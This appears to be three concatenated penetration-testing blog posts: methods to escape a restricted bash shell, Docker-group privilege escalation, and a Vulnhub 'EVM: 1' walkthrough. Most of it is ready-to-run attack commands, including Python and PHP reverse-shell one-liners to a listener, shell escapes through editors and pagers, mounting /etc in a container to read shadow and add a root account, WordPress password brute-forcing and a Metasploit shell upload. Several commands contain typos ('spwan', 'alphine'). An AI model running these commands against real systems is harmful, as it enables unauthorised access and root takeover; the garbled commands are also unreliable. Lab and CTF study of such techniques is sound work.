Multiple Methods to Bypass Restricted Shell

We all know the Security Analyst-Hacker relationship is like "Tom & Jerry" where one person takes measures to step-up the security layer and another person tries to circumvent it. The same situation that I slowly resolved while solving CTF challenges where always a new type of configuration error help me learn more about poor implementation of protection.

In this post we will talk about "restricted shell or bash," which is used in many ctf challenges and learn to bypass rbash by multiple methods.

Following CTF Challenges using rbash:

·         Happycorp:1 Vulnhub Walkthrough

·         Development: Vulnhub Walkthrough

Table of Content

·         Restricted shell

·         Restrictions with in rbash

·         Pros of restricted shell

·         Cons of restricted shell

·         Multiple method to bypass rbash

Restricted Shell: rbash

A restricted shell is used to set up an environment more controlled than the standard shell which means If bash is started with the name rbash, or the -r option is supplied at invocation, the shell becomes restricted. 

Restrictions with in rbash

It behaves identically to bash with the exception that the following are disallowed or not performed:

§  cd command (Change Directory)

§  cd command (Change Directory)

§  PATH (setting/ unsetting)

§  ENV aka BASH_ENV (Environment Setting/ unsetting)

§  Importing Function

§  Specifying file name containing argument ‘/’

§  Specifying file name containing argument ‘-‘

§  Redirecting output using ‘>‘, ‘>>‘, ‘>|‘, ‘<>‘, ‘>&‘, ‘&>‘

§  turning off restriction using ‘set +r‘ or ‘set +o‘

Pros of Restricted Shell

·         Rbash is often used in combination with a chroot jail in an additional attempt to restrict access to the entire process.

Cons of Restricted Shell

·         When a shell script command is executed, rbash cuts off any constraints in the spawned shell to execute the code.

·         Inadequate to allow fully untrusted code to be executed.

Enable restricted shell for a user

As said above the rbash will control the access of bash shell for a user and allow to execute trusted command only which means the login user can run some selected command only. In order to control the user bash command, execute or enable the restricted shell for any user follow the below steps:

1.       Create a local user “ignite”

2.       Set password

3.       Set usermod to enable rbash for local user.

4.       Ensure accessible shell for the user with the help of /etc/passwd.

adduser ignite

usermod -s /bin/rbash ignite

Method to Bypass rbash

1.       Bypass rbash using Editors

·         Vi-editors

·         Ed-editors

2.       Bypass rbash using One liner

·         Python

·         Perl

·         Awk

3.       Bypass rbash through Reverse Shell

4.       Bypass rbash using System bnaries

·         More

·         Less

·         Man

5.       Bypass rbash using Expect

6.       Bypass rbash through SSH 

Bypass rbash using Editors

Now suppose you have accessed the host machine as a local user and found the logged user is part of rbash shell thus you are unable to run some system commands, such as: cd (change directory) because due to rbash it is restricted.

Now the question is: Then what will you do in such situation? 🤔

And the answer is: Use “Editors Programs” to bypass the restricted mode. 😇

1^st method – VI Editor

So you can use the VI editor and this will be in the edit mode where you need to run the following command to open the "sh: Bourne shell" instead of rbash.

vi

:set shell=/bin/sh

:shell

Now if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

2^nd method- ed-Editor

You can also go with ed-editor which very easy to use as this is same as cat program that will provide inline edit mode where you can use following command to call "sh: Bourne shell"

ed

! ‘/bin/sh’

Now again if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

There many more editors such as pico or nano which you should by yourself to bypass rbash environment.

Bypass rbash using One liner

1^st Method Python

You can also choose python following command as one liner to import "sh: Bourne shell" and spawn the proper sh shell instead of rbash as shown below where we are able to access the /etc directory without any restriction.

python -c 'import os; os.system("/bin/sh");'

python3 -c 'import os; os.system("/bin/sh");'

2^st Method Perl

Similarly, you can also choose perl following command as one liner to import "sh: Bourne shell" and spawn the proper sh shell instead of rbash as shown below where we are able to access the /etc directory without any restriction.

perl -e 'system("/bin/sh");'

3^rd Method- Awk

Similarly, you can also choose awk following command as one liner to import "sh: Bourne shell" and spawn the proper sh shell instead of rbash as shown below where we are able to access the /etc directory without any restriction.

awk 'BEGIN {system("/bin/sh")}'

Bypass rbash through Reverse Shell

1^st-Method Python

You can also choose reverse shell code to bypass rbash, here we have use python reverse shell code (penetestmokey) and this will throw the "sh: Bourne shell" to the listen machine (Kali Linux in our case) on the netcat which is listening over our Kali Linux.

nc -lvp 1234 {kali Linux}

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Now if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

2^nd Method – PHP

Similarly, you can use PHP reverse shell code which need to be execute on the host machine and reverse connection will be accessible on Listening IP.

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Now if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

Bypass rbash using System bnaries

Very few people know this, that some system binaries program (such as less, more, head, tail, man and many more) are very useful to bypass restricted environment.

Consider a situation where you a log file named ignite.txt inside the current directory and you allow to only few commands such as more or less to read the logs.

1^stMethod-/bin/more

Take the privilege of /bin/more program to bypass the restricted environment by executing following command on the rbash shell

more ignite.txt

!’sh’

Now if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

cd /etc

pwd

2^nd Method-/bin/less

Take the privilege of /bin/less program to bypass the restricted environment by executing following command on the rbash shell

less ignite.txt

!’sh’

Now if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

cd /etc

pwd

3^rd Method-/bin/man

Take the privilege of /bin/less program to bypass the restricted environment by executing following command on the rbash shell

man man

!’sh’

Now if you will try to access /etc directory then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

cd /etc

pwd

Bypass rbash using Expect

Expect is a Unix program that "talks" to other interactive programs according to a script. Following the script, expect knows what can be expected from a program and what the Correct response should be.

Take the privilege of /bin/usr/expect program to bypass the restricted environment by executing following command on the rbash shell.

expect

spwan sh

Now if you will try to access /etc directory once again then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

cd /etc

pwd

Bypass rbash through SSH 

If you know the ssh credential of the user who is part of rbash shell, then you can use following command along ssh to break the jail and bypass the rbash by accessing proper bash shell.

ssh ignite@192.168.1.103 -t “bash --noprofile”

Now if you will try to access /etc directory once again then you will saw that you are able to run cd & pwd command as shown below.

cd /etc

pwd

cd /etc

pwd

 

Reference: http://manpages.ubuntu.com/manpages/cosmic/man1/rbash.1.html

Docker Privilege Escalation

In our previous article we have discussed “Docker Installation & Configuration”but today you will learn how to escalate the root shell if docker is running on the hots machine or I should say docker privilege escalation to spawn root shell.

While we know that there is an issue with the docker that all the commands in docker require sudo as docker needs root to run. The Docker daemon works in such a way that it is allowed access to the root user or any other user in the particular docker group. This shows that access to the docker group is the same as to give a constant root access without any password. 🧐

Quick Lab setup

Execute below conmand to install docker in your local host machine. I have used ubutn 18.04 here as target machine.

apt install docker.io

Create a local user, say Ignite is the username with least privileges add new group “docker” for “ignite”.

adduser ignite

usermod -G docker ignite

newgrp docker

To proceed for privilege escalation, you should have local access of the host machine, therefore here we choose ssh to access the machine as ignite who is a local user on this machine. 

ssh ignite@192.168.1.6

id

Since we have access to the user which is a part of the docker group and said above if the user is part of the docker group then it is the same as to give a constant root access without any password. 😈

We ran the command shown below, this command obtains the alpine image from the Docker Hub Registry and runs it. The –v parameter specifies that we want to create a volume in the Docker instance. The –it parameters put the Docker into the shell mode rather than starting a daemon process. The instance is set up to mount the root filesystem of the target machine to the instance volume, so when the instance starts it immediately loads a chroot into that volume. This gives us the root of the machine. After running the command, we traverse into the /mnt directory and found out flag.txt.

docker run -v /root:/mnt it alphine

Similarly, an intruder can mount other system files to escalate the privilege for local user such as he can mount the passwd or shadow or ssh-key.

As you can see here, we try to mount mount /etc directory to obtain shadow file and similarly one can access passwd file and add his own privilege user. 🤔

docker run -v /etc/:/mnt -it alpine

cd /mnt

cat shadow

So, if you have access shadow file then you can try to crack passwd hashes and if you have access passwd file you can add you own privilege user by generating password salt as shown here.

openssl passwd -1 -salt raj

Now a new record inside the passwd file for your user.

docker run -v /etc/:/mnt -it alpine

cd /mnt

echo ‘raj:saltpasswd:0:0::/root:/bin/bash’ >>passwd

tail passwd

From the given below image you can observe that now we have user raj as member of root. Thus, we switch to as raj and access the root shell.

Thus, in this way we can escalated the permission of a host machine, hope you will enjoy this little and powerful post. 😊

EVM: 1 Vulnhub Walkthrough

In this article, we will solve EVM lab. This lab is designed by Ic0de and it is an easy lab as the author has intended it beginners. You can download the lab from here.

Penetration Methodologies:

·         Network Scanning

o   Netdiscover

o   Nmap Scan

·         Enumeration

o   Browsing HTTP Service

o   Directory Bruteforce using dirb

o   Enumeration Using WPScan

o   Password Bruteforce using WPScan

o   Getting Login Credentials

·         Exploitation

o   Exploiting using Metasploit

o   Getting a reverse connection

o   Spawning a TTY Shell

o   Enumeration for Root Credentials

·         Privilege Escalation

o   Getting Login Credentials

o   Logging in as root

o   Reading the Final Flag

Walkthrough

Network Scanning

First we will find the IP address of our target machine and for that please use the following command as it helps to see all the IP’s in an internal network:

netdiscover

As you can see from the above image, our target IP is 192.168.1.103. Now that we know target IP, we can move on to scanning our target so that step by step we can attack further and gain control of the machine and scanning will help us to find an opening. We will scan with the help of nmap and for that use the following command:

nmap -A 192.168.1.103

With the help of nmap we observed that port number 22, 53, 80, 110, 139, 143, 445 are open with the services of SSH, DNS, HTTP, POP3, NETBIOS, IMAP and NETBIOS respectively.

Enumeration

As port 80 is open, let us try and open the IP in browser as shown in the image below:

The apache webpage opens which is normal except for the fact that there was a comment saying “you can find me at /wordpress/ im vulnerable 😊 “

Now according to this comment, it means there is a vulnerable directory called ‘wordpress’. So to confirm we used dirb command which is:

dirb http://192.168.1.103/

And to no surprise, there is a directory called ‘wordpress’. Now this is wordpress, as the name suggests, we can use wpscan to find more about it. And for this, type:

wpscan --url http://192.168.1.103/wordpress/ -e at -e ap -e u

With this command, we are telling the wpscan to enumerate(-e) all themes(at), all plugins(ap) installed on the wordpress site. And finally all the users(u) that might be logged in on the Wordpress Site.

As you can see in the image below, there is a vulnerable plug in c0rrupt3d_brain where we can attack via bruteforce and get a password to log in.

So, for our bruteforce, we will use rockyou wordlist and to put it in action type:

 wpscan --url http://192.168.1.103/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

And when the bruteforce is successful, it will give you the password i.e. 24992499; which is shown in the image below too:

Exploitation

Now that we know username and password, we can use an inbuilt wordpress exploit from Metasploit. Firstly, start Metasploit by typing ‘msfconsole’ and the type the following command:

use exploit/unix/webapp/wp_admin_shell_upload

set rhosts 192.168.1.103

set targeturi /wordpress

asset username c0rrupt3d_brain

set password 24992499

exploit

So, once the exploit is running and attack is successful, you can will have your meterpreter session. When you have the meterpreter session, go to home by typing cd /home and check list of things home has to offer by using ls command. There was only on folder there named root3r and when you navigate yourself to that folder and check the list of files with the same command you used before. Here, you will find .root_password_ssh.txt file; upon reading this text file with cat you will find the password of the root user just its shown in the image below:

cd /home

ls

cd root3r

ls

cat .root_password_ssh.txt

Privilege Escalation

Now, we know that the password of the root user is willy26. We can now switch our user to root and for this type:

shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

su root

willy26

Now, you are logged in as root along with its privileges too. As you can see in the image below:

One you are logged in as a root user, navigate yourself around and go to the root folder by typing cd /root. And there when you will use ls command, you find a proof.txt document. Upon reading it with cat command, it will show you that you have successfully pwned the machine. YAY!!!!!!